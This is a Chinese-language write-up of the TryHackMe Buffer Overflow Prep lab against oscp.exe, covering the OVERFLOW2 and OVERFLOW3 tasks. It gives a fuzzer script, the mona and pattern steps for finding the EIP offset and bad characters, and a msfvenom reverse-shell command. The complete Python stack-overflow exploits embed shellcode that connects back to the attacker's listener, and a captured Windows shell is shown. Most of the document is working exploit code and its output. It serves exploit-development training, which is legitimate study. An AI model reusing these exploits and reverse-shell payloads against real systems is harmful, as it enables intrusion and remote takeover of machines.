#!/usr/bin/env python3 import socket, time, sys ip = "10.10.188.69" port = 1337 timeout = 5 prefix = "OVERFLOW2 " string = prefix + "A" * 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 100 * "A" time.sleep(1)
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflow Prep] └─$ python3 fuzzer.py Fuzzing with 100 bytes Fuzzing with 200 bytes Fuzzing with 300 bytes Fuzzing with 400 bytes Fuzzing with 500 bytes Fuzzing with 600 bytes Fuzzing with 700 bytes Fuzzing crashed at 700 bytes
-
EIP
- exploit.py:
import socket ip = "10.10.188.69" port = 1337 prefix = "OVERFLOW2 " offset = 0 overflow = "A" * offset retn = "" padding = "" payload = "" postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")
- 随机字符串:
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflow Prep] └─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
- 复制随机字符到payload:
import socket ip = "10.10.188.69" port = 1337 prefix = "OVERFLOW2 " offset = 0 overflow = "A" * offset retn = "" padding = "" payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk" postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")
- 重启oscp.exe,并运行exploit.py:
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflow Prep] └─$ python3 exploit.py Sending evil buffer... Done!
-
!mona findmsp -distance 1100
-
EIP偏移量:634
-
修改exploit.py: offset = 634 , retn = “BBBB” , payload= “”
import socket ip = "10.10.188.69" port = 1337 prefix = "OVERFLOW2 " offset = 634 overflow = "A" * offset retn = "BBBB" padding = "" payload = "" postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")
-
重启oscp.exe,并运行exploit.py:
已经成功得到了确切的EIP 偏移量(634)且能够控制EIP
-
寻找坏字符:
-
去除空字节:
!mona bytearray -b "\x00"
- 本地生成一样的字符串:badchars.py
for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='') print()
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflow Prep] └─$ python3 badchars.py \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
-
更新exploit.py 的payload,重启oscp.exe并运行exploit.py:
-
!mona compare -f C:\mona\oscp\bytearray.bin -a 01A0FA30
-
去除23:
!mona bytearray -b "\x00\x23"
,确定\x00\x23
-
去除3c:
!mona bytearray -b "\x00\x23\x3c"
,确定\x00\x23\x3c
-
去除83:
!mona bytearray -b "\x00\x23\x3c\x83"
, 确定\x00\x23\x3c\x83
-
去除ba:
!mona bytearray -b "\x00\x23\x3c\x83\xba"
,最终确定\x00\x23\x3c\x83\xba
-
-
寻找跳跃点:
!mona jmp -r esp -cpb "\x00\x23\x3c\x83\xba"
,选取地址jump esp: 0x625011af ,retn:\xaf\x11\x50\x62 -
生成有效载荷:
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.61.123 LPORT=4444 EXITFUNC=thread -b "\x00\x23\x3c\x83\xba" -f c
并修改exploit.py的payload:payload = ("\xfc\xbb\x43\x0b\xcd\x68\xeb\x0c\x5e\x56\x31\x1e\xad\x01" "\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xbf\xe3\x4f" "\x68\x3f\xf4\x2f\xe0\xda\xc5\x6f\x96\xaf\x76\x40\xdc\xfd" "\x7a\x2b\xb0\x15\x08\x59\x1d\x1a\xb9\xd4\x7b\x15\x3a\x44" "\xbf\x34\xb8\x97\xec\x96\x81\x57\xe1\xd7\xc6\x8a\x08\x85" "\x9f\xc1\xbf\x39\xab\x9c\x03\xb2\xe7\x31\x04\x27\xbf\x30" "\x25\xf6\xcb\x6a\xe5\xf9\x18\x07\xac\xe1\x7d\x22\x66\x9a" "\xb6\xd8\x79\x4a\x87\x21\xd5\xb3\x27\xd0\x27\xf4\x80\x0b" "\x52\x0c\xf3\xb6\x65\xcb\x89\x6c\xe3\xcf\x2a\xe6\x53\x2b" "\xca\x2b\x05\xb8\xc0\x80\x41\xe6\xc4\x17\x85\x9d\xf1\x9c" "\x28\x71\x70\xe6\x0e\x55\xd8\xbc\x2f\xcc\x84\x13\x4f\x0e" "\x67\xcb\xf5\x45\x8a\x18\x84\x04\xc3\xed\xa5\xb6\x13\x7a" "\xbd\xc5\x21\x25\x15\x41\x0a\xae\xb3\x96\x6d\x85\x04\x08" "\x90\x26\x75\x01\x57\x72\x25\x39\x7e\xfb\xae\xb9\x7f\x2e" "\x60\xe9\x2f\x81\xc1\x59\x90\x71\xaa\xb3\x1f\xad\xca\xbc" "\xf5\xc6\x61\x47\x9e\xe2\x7e\x7a\x25\x9b\x82\x84\xc8\x07" "\x0a\x62\x80\xa7\x5a\x3d\x3d\x51\xc7\xb5\xdc\x9e\xdd\xb0" "\xdf\x15\xd2\x45\x91\xdd\x9f\x55\x46\x2e\xea\x07\xc1\x31" "\xc0\x2f\x8d\xa0\x8f\xaf\xd8\xd8\x07\xf8\x8d\x2f\x5e\x6c" "\x20\x09\xc8\x92\xb9\xcf\x33\x16\x66\x2c\xbd\x97\xeb\x08" "\x99\x87\x35\x90\xa5\xf3\xe9\xc7\x73\xad\x4f\xbe\x35\x07" "\x06\x6d\x9c\xcf\xdf\x5d\x1f\x89\xdf\x8b\xe9\x75\x51\x62" "\xac\x8a\x5e\xe2\x38\xf3\x82\x92\xc7\x2e\x07\xb2\x25\xfa" "\x72\x5b\xf0\x6f\x3f\x06\x03\x5a\x7c\x3f\x80\x6e\xfd\xc4" "\x98\x1b\xf8\x81\x1e\xf0\x70\x99\xca\xf6\x27\x9a\xde\xf6" "\xc7\x64\xe1")
-
前置NOP:
padding = "\x90" * 16
-
最终利用exp:
import socket ip = "10.10.188.69" port = 1337 prefix = "OVERFLOW2 " offset = 634 overflow = "A" * offset retn = "\xaf\x11\x50\x62" padding = "\x90" * 16 payload = ("\xfc\xbb\x43\x0b\xcd\x68\xeb\x0c\x5e\x56\x31\x1e\xad\x01" "\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xbf\xe3\x4f" "\x68\x3f\xf4\x2f\xe0\xda\xc5\x6f\x96\xaf\x76\x40\xdc\xfd" "\x7a\x2b\xb0\x15\x08\x59\x1d\x1a\xb9\xd4\x7b\x15\x3a\x44" "\xbf\x34\xb8\x97\xec\x96\x81\x57\xe1\xd7\xc6\x8a\x08\x85" "\x9f\xc1\xbf\x39\xab\x9c\x03\xb2\xe7\x31\x04\x27\xbf\x30" "\x25\xf6\xcb\x6a\xe5\xf9\x18\x07\xac\xe1\x7d\x22\x66\x9a" "\xb6\xd8\x79\x4a\x87\x21\xd5\xb3\x27\xd0\x27\xf4\x80\x0b" "\x52\x0c\xf3\xb6\x65\xcb\x89\x6c\xe3\xcf\x2a\xe6\x53\x2b" "\xca\x2b\x05\xb8\xc0\x80\x41\xe6\xc4\x17\x85\x9d\xf1\x9c" "\x28\x71\x70\xe6\x0e\x55\xd8\xbc\x2f\xcc\x84\x13\x4f\x0e" "\x67\xcb\xf5\x45\x8a\x18\x84\x04\xc3\xed\xa5\xb6\x13\x7a" "\xbd\xc5\x21\x25\x15\x41\x0a\xae\xb3\x96\x6d\x85\x04\x08" "\x90\x26\x75\x01\x57\x72\x25\x39\x7e\xfb\xae\xb9\x7f\x2e" "\x60\xe9\x2f\x81\xc1\x59\x90\x71\xaa\xb3\x1f\xad\xca\xbc" "\xf5\xc6\x61\x47\x9e\xe2\x7e\x7a\x25\x9b\x82\x84\xc8\x07" "\x0a\x62\x80\xa7\x5a\x3d\x3d\x51\xc7\xb5\xdc\x9e\xdd\xb0" "\xdf\x15\xd2\x45\x91\xdd\x9f\x55\x46\x2e\xea\x07\xc1\x31" "\xc0\x2f\x8d\xa0\x8f\xaf\xd8\xd8\x07\xf8\x8d\x2f\x5e\x6c" "\x20\x09\xc8\x92\xb9\xcf\x33\x16\x66\x2c\xbd\x97\xeb\x08" "\x99\x87\x35\x90\xa5\xf3\xe9\xc7\x73\xad\x4f\xbe\x35\x07" "\x06\x6d\x9c\xcf\xdf\x5d\x1f\x89\xdf\x8b\xe9\x75\x51\x62" "\xac\x8a\x5e\xe2\x38\xf3\x82\x92\xc7\x2e\x07\xb2\x25\xfa" "\x72\x5b\xf0\x6f\x3f\x06\x03\x5a\x7c\x3f\x80\x6e\xfd\xc4" "\x98\x1b\xf8\x81\x1e\xf0\x70\x99\xca\xf6\x27\x9a\xde\xf6" "\xc7\x64\xe1") postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")
-
监听,重启oscp.exe,执行exp:
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflow Prep] └─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.11.61.123] from (UNKNOWN) [10.10.188.69] 49331 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami whoami oscp-bof-prep\admin
oscp.exe - OVERFLOW3
- 最终exp:
import socket
ip = "10.10.154.181"
port = 1337
prefix = "OVERFLOW3 "
offset = 1274
overflow = "A" * offset
retn = "\x03\x12\x50\x62"
padding = "\x90" * 16
payload = ("\xfc\xbb\x86\xf0\xf5\xe3\xeb\x0c\x5e\x56\x31\x1e\xad\x01"
"\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x7a\x18\x77"
"\xe3\x82\xd9\x18\x6d\x67\xe8\x18\x09\xec\x5b\xa9\x59\xa0"
"\x57\x42\x0f\x50\xe3\x26\x98\x57\x44\x8c\xfe\x56\x55\xbd"
"\xc3\xf9\xd5\xbc\x17\xd9\xe4\x0e\x6a\x18\x20\x72\x87\x48"
"\xf9\xf8\x3a\x7c\x8e\xb5\x86\xf7\xdc\x58\x8f\xe4\x95\x5b"
"\xbe\xbb\xae\x05\x60\x3a\x62\x3e\x29\x24\x67\x7b\xe3\xdf"
"\x53\xf7\xf2\x09\xaa\xf8\x59\x74\x02\x0b\xa3\xb1\xa5\xf4"
"\xd6\xcb\xd5\x89\xe0\x08\xa7\x55\x64\x8a\x0f\x1d\xde\x76"
"\xb1\xf2\xb9\xfd\xbd\xbf\xce\x59\xa2\x3e\x02\xd2\xde\xcb"
"\xa5\x34\x57\x8f\x81\x90\x33\x4b\xab\x81\x99\x3a\xd4\xd1"
"\x41\xe2\x70\x9a\x6c\xf7\x08\xc1\xf8\x34\x21\xf9\xf8\x52"
"\x32\x8a\xca\xfd\xe8\x04\x67\x75\x37\xd3\x88\xac\x8f\x4b"
"\x77\x4f\xf0\x42\xbc\x1b\xa0\xfc\x15\x24\x2b\xfc\x9a\xf1"
"\xfc\xac\x34\xaa\xbc\x1c\xf5\x1a\x55\x76\xfa\x45\x45\x79"
"\xd0\xed\xec\x80\xb3\x1b\xfa\xb7\x38\x74\xfe\xc7\xaf\xd8"
"\x77\x21\xa5\xf0\xd1\xfa\x52\x68\x78\x70\xc2\x75\x56\xfd"
"\xc4\xfe\x55\x02\x8a\xf6\x10\x10\x7b\xf7\x6e\x4a\x2a\x08"
"\x45\xe2\xb0\x9b\x02\xf2\xbf\x87\x9c\xa5\xe8\x76\xd5\x23"
"\x05\x20\x4f\x51\xd4\xb4\xa8\xd1\x03\x05\x36\xd8\xc6\x31"
"\x1c\xca\x1e\xb9\x18\xbe\xce\xec\xf6\x68\xa9\x46\xb9\xc2"
"\x63\x34\x13\x82\xf2\x76\xa4\xd4\xfa\x52\x52\x38\x4a\x0b"
"\x23\x47\x63\xdb\xa3\x30\x99\x7b\x4b\xeb\x19\x9b\xae\x39"
"\x54\x34\x77\xa8\xd5\x59\x88\x07\x19\x64\x0b\xad\xe2\x93"
"\x13\xc4\xe7\xd8\x93\x35\x9a\x71\x76\x39\x09\x71\x53\x39"
"\xad\x8d\x5c")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
- EIP:1274
- badchars: \x00\x11\x40\x5f\xb8\xee
oscp.exe - OVERFLOW4
- 后续补充